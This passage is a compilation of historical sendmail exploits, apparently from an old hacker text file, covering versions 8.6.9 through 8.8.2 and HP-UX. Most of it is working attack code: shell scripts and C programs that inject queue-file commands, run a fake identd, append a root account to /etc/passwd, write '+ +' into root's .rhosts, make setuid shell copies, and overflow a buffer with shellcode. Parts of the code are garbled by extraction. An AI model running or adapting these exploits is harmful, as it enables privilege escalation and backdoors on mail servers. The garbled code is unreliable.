file goes straight to the queue. X END-of-description echo x - sm869.local sed 's/^X//' >sm869.local << 'END-of-sm869.local' X#!/bin/sh X# X# Exploit hole in sendmail 8.6.9 and earlier. X# X X# Either write a file or run a program. X#ACTION="|/tmp/runme" XACTION="/tmp/writeme" X X# Data file to read from and then remove XDATAFILE="/tmp/abc" X#DATAFILE="" X X# Who to run as XRUNAS="bin" X X# Who to send mail to XWHOAMI=`whoami` XSENDTO=$WHOAMI X#SENDTO="someone-else" X X# Build up arg and send it off Xif [ -n "$DATAFILE" ] ; then XARG="$WHOAMI XD$DATAFILE XC:$RUNAS XR\"$ACTION\"" Xelse XARG="$WHOAMI XC:$RUNAS XR\"$ACTION\"" Xfi Xsendmail -odq -F"$ARG" $SENDTO << _END_ XThis is appearing in the mailbox Xand also being piped to the program or Xwritten to the file, UNLESS you specify Xa datafile above. In that case the datafile Xwill be written and erased and this text will Xbe left (not deleted) in the queue directory. X_END_ X END-of-sm869.local echo x - sm869.remote sed 's/^X//' >sm869.remote << 'END-of-sm869.remote' X#!/bin/sh X# X# exploit for sm869 or worse X# identd must not be enabled (port 113 must be free) X X# this must be a host that mail can go to (MX not pointing elsewhere) X# that we cant reach right now (ie. host doesnt exist anymore) XUNREACHABLE="goofy.uhcc.hawaii.edu" X X# Commands to run on remote host XCOMMANDS="touch /tmp/gotcha" X X# what host to run it on XTARGET="localhost" X X# work in a temp dir XTD=/tmp/.Xwork.$$ Xmkdir $TD Xcd $TD X Xcat > a.c <<_END_ X#include X#include X#include X X/* run body of mail through shell run as daemon */ X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: " X X#ifdef other_possibilities X/* write to a file as daemon */ X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: " X/* send back a file to someone and erase it */ X#define REPLY "USERID : UNIX : a\nD/tmp/sendtome\nRmy@address.here\nHXxx: " X#endif X Xreadline(fd, buf, len) Xchar *buf; X{ X int i = 0; X X while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) { X if(buf[i] == '\r' || buf[i] == '\n') X break; X i++; X } X buf[i] = '\0'; X} X Xdie(str) Xchar *str; X{ X perror(str); exit(1); X} X Xmain() X{ X int s, s2, adlen; X struct sockaddr_in ad; X char buf[60]; X X ad.sin_family = AF_INET; X ad.sin_port = htons(113); X ad.sin_addr.s_addr = INADDR_ANY; X if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket"); X if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind"); X if(listen(s, 1) == -1) die("listen"); X adlen = sizeof(ad); X s2 = accept(s, (struct sockaddr *)&ad, &adlen); X if(s2 == -1) die("accept"); X printf("Connection from %s port %d\n", X inet_ntoa(ad.sin_addr), ntohs(ad.sin_port)); X readline(s2, buf, 50); X sprintf(buf + strlen(buf), " : %s\n", REPLY); X write(s2, buf, strlen(buf)); X} X_END_ X X# compile program Xecho "compiling" Xcc a.c -o ident Xecho "running fake ident" X./ident & X X# send to reomte Xecho "talking to remote" X( X sleep 1; echo "helo" X sleep 1; echo "mail from: " X sleep 1; echo "rcpt to: " X sleep 1; echo "data" X echo "$COMMANDS" X echo "." X sleep 1; echo "quit" X sleep 5 X) | telnet $TARGET 25 X X# cleanup Xcd / Xrm -rf $TD Xecho "done." X END-of-sm869.remote exit .................................. CuT HeRe .................................. = 8.6.9 newlines = *8.6.9* When a message is queued for delivery by sendmail, a pair of files are written to the spool directory (/var/spool/mqueue on many systems). One of these files (qf) contains information related to the processing of the message (headers, sender, recipient, etc.). Taking versions of sendmail prior to 8.6.10 as an example, one of the pieces of information maintained in this file is the name of the controlling user if mail is being delivered to a script (or file). By feeding sendmail a recipient address that contains newlines, it is possible to add lines to the queue file which specify a controlling user and an executable to run with that users access level. The 8.6.10 patch removes this hole, by stripping newlines from the recipient address before writing the queue file. EXPLOIT: /* smh.c - Michael R. Widner - atreus (2/27/95) * * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this * hole. It's really just a matter of passing newlines in arguments to * sendmail and getting the stuff into the queue files. If we run this * locally with -odq we are guaranteed that it will be queue, rather than * processed immediately. Wait for the queue to get processed automatically * or just run sendmail -q if you're impatient. * usage: smh [ username [/path/to/sendmail]] * It's worth noting that this is generally only good for getting bin. * sendmail still wants to process the sendmail.cf file, which contains * Ou1 and Og1 most of the time, limiting you to bin access. Is there * a way around this? * cc -o smh smh.c should do the trick. This just creates a bin owned * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that on some * systems this is pretty much worthless, but you're smart enough to know * which systems those are. Aren't you? */ #include #include #include main(argc, argv) int argc; char **argv; { execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ", argv[1] ? argv[1] : "atreus",0); } ................................ CuT HeRe .................................. = 8.6.10 ident/newlines = *8.6.10* This is a sendmail 8.6.10 attack based on the problems that sendmail 8.6.10 inherited from sendmail 8.6.9 .... Look at comments in the source. Two exploits follow: /* 8.6.10 sendmail attacker * * gcc ident.c -o ident * add the following line to your /etc/inetd.conf: * ident stream tcp nowait root /tmp/ident in.identd * then kill -HUP inetd * * Not for not public use or disclosure. * * This is a sendmail 8.6.10 attack based on the problems that * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting * information given to it by identd, which included bogus characters * and newlines that it later appended to the queue file. Sendmail 8.6.10 * supposedly "strips" newlines before they are written, however, it * converts them to spaces, and the following code demonstrates that * quick work-around patches are never ever stable... * * NOTES: This hack only works when sendmail queues up the message for * later delivery. This depends on the configuration of sendmail.cf and * on the machine loading. If you can do something to drag the machine to * its knees, then fire off this attack, you stand a much better chance of * success. * * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the * default user to bin.bin), this exploit will not work. * * Also, since this only works when sendmail queues up the message for * later delivery, the time of execution is dependant on how sendmail * has been configured in sendmail.cf and machine load. Heavily loaded * machines (or machines that have been intentionally flooded) have a * greater possibility of this exploit working. * */ #include #include #include #include #include #include #include /* TIMEOUT is the number of seconds to wait before closing the connection if * the client doesn't provide the port pairs. */ #define TIMEOUT 120 /* PROCINFO_BUFFER_SIZE must be bigger than 80 */ #define OUTPUT_BUFFER_SIZE 2048 #define SOCKET_BUFFER_SIZE 100 unsigned short lport = 0, rport = 0; void main () { unsigned long here, there; struct fd_set fdset; struct timeval timeout; char buffer[OUTPUT_BUFFER_SIZE]; char inbuffer[SOCKET_BUFFER_SIZE]; int len; int fd; FD_ZERO (&fdset); FD_SET (0, &fdset); timeout.tv_sec = TIMEOUT; timeout.tv_usec = 0; select (1, &fdset, NULL, NULL, &timeout); len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 ); if (len <= 0) exit (0); FD_SET (0, &fdset); sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer, "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\"); write (1, buffer, strlen (buffer)); exit (0); } ................................ CuT HeRe .................................. Second Exploit follows: /* 8.6.10 sendmail attacker * * gcc ident.c -o ident * add the following line to your /etc/inetd.conf: * ident stream tcp nowait root /tmp/ident in.identd * then kill -HUP inetd * * Not for not public use or disclosure. * * This is a sendmail 8.6.10 attack based on the problems that * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting * information given to it by identd, which included bogus characters * and newlines that it later appended to the queue file. Sendmail 8.6.10 * supposedly "strips" newlines before they are written, however, it * converts them to spaces, and the following code demonstrates that * quick work-around patches are never ever stable... * * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the * default user to bin.bin), this exploit will not work. * * Also, since this only works when sendmail queues up the message for * lar delivery, the time of execution is dependant on how sendmail * has been configured in sendmail.cf and machine load. Heavily loaded * machines (or machines that have been intentionally flooded) have a * greater possibility of this exploit working. * */ #include #include #include #include #include #include #include /* TIMEOUT is the number of seconds to wait before closing the connection if * the client doesn't provide the port pairs. */ #define TIMEOUT 120 /* PROCINFO_BUFFER_SIZE must be bigger than 80 */ #define OUTPUT_BUFFER_SIZE 2048 #define SOCKET_BUFFER_SIZE 100 unsigned short lport = 0, rport = 0; void main () { unsigned long here, there; struct fd_set fdset; struct timeval timeout; char buffer[OUTPUT_BUFFER_SIZE]; char inbuffer[SOCKET_BUFFER_SIZE]; int len; int fd; FD_ZERO (&fdset); FD_SET (0, &fdset); timeout.tv_sec = TIMEOUT; timeout.tv_usec = 0; select (1, &fdset, NULL, NULL, &timeout); len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 ); if (len <= 0) exit (0); FD_SET (0, &fdset); sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer, "Croot\t\t\t\t\t\t\tMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\t Mlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\t\t\t\t\t\tR<\"|/bin/echo toor::0:1:toor:/: /bin/csh >> /etc/passwd\">\t\t\tR<\"|/usr/bin/chmod 4755 /usr/bin/time\">\r\n $rascii done"); write (1, buffer, strlen (buffer)); exit (0); } ................................ CuT HeRe .................................. = HP-UX = *HP-UX 9.x* #!/bin/sh # This works on virgin HPUX 9.x sendmail.cf # The link can be set to any file on the system, it will append the contents # of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts).. # - sirsyko r00tDIR=`grep root /etc/passwd |cut -f6 -d:` RunDMC=`hostname` if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter fi if [ -f /tmp/dead.letter ]; then echo "Sorry, aint gonna work" exit fi ln -s ${r00tDIR}/.rhosts /tmp/dead.letter ( sleep 1 echo "helo" echo "mail from: noone" echo "rcpt to: noone@bounce" echo "data" echo "+ +" echo "." sleep 3 echo "quit" ) | telnet ${RunDMC} 25 sleep 5 remsh ${RunDMC} -l root ............... CuT HeRe ............... What the r00t guys exploit does is just this: - creates a symbolic link to the target file (in this case '.rhosts' in root's directory) called '/tmp/dead.letter'. - Then sends a message (containing lines you want to append) to a non-existent user. - Sendmail is configured (as default) to append lines of non-recipient messages to '/tmp/dead.letter' and does it with root privileges. If '/tmp/dead.letter' is a symbolic link Sendmail will follow it and will overwrite the pre-existent file. - Probably if Sendmail configuration has been changed to make it behave in a different way, looking at the cf file could lead you to exploit the bug the same. = 8.7.5 gecos = *8.X.X <8.8.0* *TeSTed oN 8.6.12* This bug was pointed out by Mudge of L0pht on Bugtraq on Sept 1996, excerpts follow: ------ A buffer overflow condition exists that allows a user to overwrite the information in a saved stack frame. When the function returns, the saved frame is popped off of the stack and user code can be executed. If a user is able to alter his/her gecos field then that user can exploit a coding flaw in sendmail to elevate their effective UID to 0. The actual problem in the code is quite apparent. Inside recipient.c we find the following: char nbuf[MAXNAME + 1]; ... buildfname(pw->pw_gecos, pw->pw_name, nbuf); The problem is that nbuf[MAXNAME + 1] is a fixed length buffer and as we will soon see, buildfname() does not honor this. [ ..... ] This particular problem has been fixed in Sendmail 8.8 beta. _______ Here we have an example of exploit: ------------------------------ Cut Here ------------------------------------ /* Hi ! */ /* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0). */ /* If you have any problems with it, send letter to me. */ /* Have fun ! */ /* ----------------- Dedicated to my beautiful lady ------------------ */ /* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su */ #include main() { void make_files(); make_files(); system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;e cho See result in /tmp"); } void make_files() { int i,j; FILE *f; char nop_string[200]; char code_string[]= { "\xeb\x50" /* jmp cont */ /* geteip: */ "\x5d" /* popl %ebp */ "\x55" /* pushl %ebp */ "\xff\x8d\xc3\xff\xff\xff" /* decl 0xffffffc3(%ebp) */ "\xff\x8d\xd7\xff\xff\xff" /* decl 0xffffffd7(%ebp) */ "\xc3" /* ret */ /* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp" /* 0xffffffc3(%ebp): */ "\x3c" "chmod a=rsx /tmp/sh" /* 0xffffffd7(%ebp): */ "\x01" "-leshka-leshka-leshka-leshka-" /* reserved */ /* cont: */ "\xc7\xc4\x70\xcf\xbf\xef" /* movl $0xefbfcf70,%esp */ "\xe8\xa5\xff\xff\xff" /* call geteip */ "\x81\xc5\xb4\xff\xff\xff" /* addl $0xb4ffffff,%ebp */ "\x55" /* pushl %ebp */ "\x55" /* pushl %ebp */ "\x68\xd0\x77\x04\x08" /* pushl $0x80477d0 */ "\xc3" /* ret */ "-leshka-leshka-leshka-leshka-" /* reserved */ "\xa0\xcf\xbf\xef" }; j=269-sizeof(code_string); for(i=0;i\"$1\"\n"); fprintf(f,"touch -t 2510711313 \"$1\"\n"); fclose(f); } ................................ Cut Here ................................ = mime7to8() = *8.8.0* An attacker can simply create a very large message in which each line ends with "=" and use it to overwrite the sendmail process's stack. Here the bug is only described... why doesn't someone write an exploit?! ------ There is a serious bug in the mime7to8() function of sendmail 8.8.0 which allows anyone who can send you mail to execute arbitrary code as root on your machine. I think mime7to8() only gets invoked if you set the undocumented "9" mailer flag. However, this flag is set by default in the cf/mailer/local.m4 file that ships with sendmail 8.8.0. Thus, if you are using an old V6 format configuration file from sendmail 8.7, you are probably safe, but if you generated a new V7 configuration file, you are probably vulnerable to this bug. Now here are the technical details: The inner loop of mime7to8() looks like this: u_char *obp; char buf[MAXLINE]; u_char obuf[MAXLINE]; .... /* quoted-printable */ obp = obuf; while (fgets(buf, sizeof buf, e->e_dfp) != NULL) { if (mime_fromqp((u_char *) buf, &obp, 0, MAXLINE) == 0) continue; putline((char *) obuf, mci); obp = obuf; } When mime_fromqp() encounters a line that ends "=\n", it chops those two characters off and returns 0 to indicate a continuation line. This causes the while loop to continue, reading another input line and appending its contents to obuf. However, when the loop continues without resetting obp to obuf, there are fewer than MAXLINE characters left in the output buffer. This means an attacker can simply create a very large message in which each line ends with "=". Eventually obp will move beyond the end of obuf and start writing almost arbitrary data to the sendmail process's stack (as long as no bytes are 0). -------- = smtpd = *8.7-8.8.2* Read the exploit and don't bother: ------------------------------ Cut Here -------------------------------- #/bin/sh # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su # # # echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c # # echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c # # cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n" |head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd /tmp/sh .............................. Cut Here ................................... ...............................oO THe eND Oo............................... ============= Credits =============== All this info was mainly grabbed from: - Bugtraq - 8lgm - In***ax Digest - "Improving the Security of Your Site by Breaking Into it" By Dan Farmer & Wietse Venema - "Sendmail Bug Exploits List v.04b" By Per1com/Xer0 - "Time For a Change" #1 'UNIX problems, for fun and exploit.' By Ghost in the Machine